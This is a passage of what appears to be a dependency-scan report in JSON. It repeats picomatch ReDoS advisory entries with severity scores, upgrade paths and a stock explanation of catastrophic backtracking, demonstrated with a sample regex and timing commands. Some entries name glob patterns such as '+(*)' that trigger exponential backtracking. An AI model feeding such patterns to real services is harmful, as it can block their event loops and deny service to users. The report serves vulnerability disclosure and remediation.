'/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" 